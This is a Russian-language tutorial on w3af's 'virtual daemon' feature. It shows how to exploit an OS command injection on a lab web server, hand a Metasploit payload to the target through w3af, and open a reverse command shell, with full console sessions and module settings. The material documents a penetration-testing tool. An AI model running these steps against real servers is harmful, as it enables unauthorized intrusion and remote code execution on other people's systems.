Виртуальный демон
Как было сказано выше, эта техника позволяет Вам выполнять код сгенерированный Metasploit`ом для компрометации атакуемого сервера. Чтобы её использовать требуется иметь на машине установленным Metasploit Framework версии 3.0 и выше. Вы можете скачать его бесплатно на сайте www.metasploit.com. Установка и настройка MSF выходят за пределы этого документа.
Для активации использования виртуального демона Вам нужно запустить следующую команду, скопировав прежде metasploit-модуль w3af в директорию MSF:
./w3af_console i /home/jdoe/tools/msf/
Где "/home/jdoe/tools/msf/" это директория куда пользователь "jdoe" установил
Metasploit. Далее скопируйте модуль для работы с MSF в его специальную директорию.
cp core/controllers/vdaemon/w3af_vdaemon.rb /home/user/tools/msf/modules/exploits/unix/misc/
Как только это сделано, атакующий может начинать пользоваться виртуальным демоном. Для того чтобы Вы поняли как это делается рассмотрим следующий пример:
1. w3af нашёл уязвимость которая позволяет удалённо выполнять команды ОС на атакуемом сервере
2. Взломщик, через использование этой уязвимости, запускает виртуальный демон.
3. Запускает MSF
4. Настраивает модуль w3af, находящийся внутри MSF и выполняет его
5. w3af-модуль внутри MSF соединяется с виртуальным демоном который прослушивает определённый порт на localhost`е.
6. MSF посылает код, выбранный пользователем, виртуальному демону.
7. Демон создаёт PE или ELF — файл, в зависимости от удалённой операционной системы, и с использованием уязвимости этот код загружается на атакованный сервер и выполняется.
8. Процесс загрузки файла на сервер зависит от удалённой операционной системы, привилегий пользователя запустившего w3af и локальной ОС. Далее происходит следующее:
1. w3af посылает небольшой исполняемый файл удалённому серверу.
2. Затем фреймворк получает имя сетевого интерфейса ( misc-settings -> interface ) и отсылает на определённые порты несколько пакетов. Так он определяет разрешены ли такие соединения файрволом удалённой сети.
3. Если какой-либо TCP-порт оказывается разрешённым, w3af пытается запустить сервер на этом порту и осуществляет back-connect с удалённого хоста для загрузки сгенерированного PE/ELF — файла. Если такого порта нет то w3af записывает PE/ELF – файл используя команду «echo». Этот способ самый медленный, но он всегда работает.
9. Загруженный код выполняется на удалённом сервере и соединяется с MSF.
Теперь, когда мы знаем этот процесс в теории, давайте рассмотрим иллюстрацию практического примера.
$ ./w3af_console
w3af>>> plugins
w3af>>> plugins
w3af/plugins>>> audit osCommanding
w3af/plugins>>> audit
Enabled audit plugins:
osCommanding
w3af/plugins>>> back
w3af>>> target
w3af/target>>> set target http://172.16.1.128/os.php?cmd=f00
w3af/target>>> back
w3af>>> start
The list of found URLs is:
http://172.16.1.128/os.php
Found 1 URLs and 1 different points of injection.
The list of Fuzzable requests is:
http://172.16.1.128/os.php | Method: GET | Parameters: (cmd)
Starting osCommanding plugin execution.
OS Commanding was found at: http://172.16.1.128/os.php . Using
method: GET. The data sent was: cmd=type+%25SYSTEMROOT
%25%5Cwin.ini The vulnerability was found in the request with id 7.
w3af>>> exploit
w3af/exploit>>> exploit osCommandingShell
osCommanding exploit plugin is starting.
The vulnerability was found using method GET, tried to change
the method to POST for exploiting but failed.
Vulnerability successfully exploited.
Execute "exitPlugin" to get out of the remote shell. Commands
typed in this menu will be runned on the remote web server.
w3af/exploit/osCommandingShell>>> start vdaemon
Virtual daemon service is running on port 9091, use metasploit's
w3af_vdaemon module to exploit it.
w3af/exploit/osCommandingShell>>>
Ничего особенного. Только добавилась новая команда «start daemon». Этот пример отражает пункты 1 и 2 из теоретической части. Следующая часть — конфигурация MSF-модуля и его запуск. Я больше предпочитаю веб-интерфейс «msfweb». Первым делом нужно выбрать пункт «Exploit» в главном меню. Появится маленькое окошко в котором Вы должны произвести поиск по выражению «w3af» и выбрать эксплоит с именем “w3af virtual daemon exploit”.
Несколько важных особенностей которые Вы должны знать при настройке «w3af agent virtual daemon module» в MSF:
1. В качестве цели должна быть указана именно та система с которой Вы работаете.
2. Не работать с VNC (скорее всего это переведено неверно, вот исходное выражение «VNC payloads don't seem to work»)
3. RHOST - параметр должен содержать IP атакуемого хоста
4. LHOST - это Ваш внешний IP-адрес
5. LPORT — это порт на Вашей машине, куда удалённый веб-сервер может подключится. Или куда можете обращатся Вы.
6. w3af-модуль внутри MSF соединится с адресом localhost:9091 и произведёт передачу данных. Этот параметр не может быть изменён и не должен совпадать с LHOST и LPORT.
Когда всё это будет настроено мы можем кликнуть по кнопке «Launch Exploit». Вот что мы при этом увидим в консоли w3af:
w3af/exploit/osCommandingShell>>>
Please wait some seconds while w3af performs an extrusion scan.
The extrusion test failed, no reverse connect transfer methods
can be used. Trying inband echo transfer method.
Error: The user running w3af can't sniff on the specified
interface. Hints: Are you root? Does this interface exist?
Successfully transfered the MSF payload to the remote server.
Successfully executed the MSF payload on the remote server.
Последнее сообщение выведется только если Вы запускали w3af как обычный пользователь. Причина проста — не хватает прав на то чтобы произвести сканирование. Удачная попытка сканирования выглядит вот так:
Please wait some seconds while w3af performs an extrusion scan.
ExtrusionServer listening on interface: eth1
Finished extrusion scan.
The remote host: "172.10.10.1" can connect to w3af with these ports:
25/TCP
80/TCP
53/TCP
1433/TCP
8080/TCP
53/UDP
69/UDP
139/UDP
1025/UDP
The following ports are not bound to a local process and can be used by w3af:
25/TCP
53/TCP
1433/TCP
8080/TCP
Selecting port "8080/TCP" for inbound connections from the compromised server to w3af.
И если мы теперь посмотрим на веб-интерфейс MSF то увидим там что ни будь интересное типа :
[*] Started reverse handler[*] The remote IP address is: 172.16.1.128[*] Using remote IP address to create payloads.[*] Sent payload to vdaemon.[*] The estimated time to wait for the extrusion scan to
complete is: 1 seconds.[*] Done waiting![*] The estimated time to wait for PE/ELF transfer is: 8
seconds.[*] Waiting...[*] Done waiting![*] Going to wait for 27 seconds (waiting for crontab/at to
execute payload).[*] The session could start before the handler, so please *be
patient*.[*] Command shell session 1 opened (172.16.1.1:4444 >
172.16.1.128:1047)[*] Done waiting![*] Starting handler
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 19852000
Microsoft Corp.
C:\WINNT\system32>
Теперь пользователь имеет интерактивный шелл с привилегиями веб-сервера без всяческих ограничений. На этом этапе можно закрыть w3af и продолжить работу только с MSF.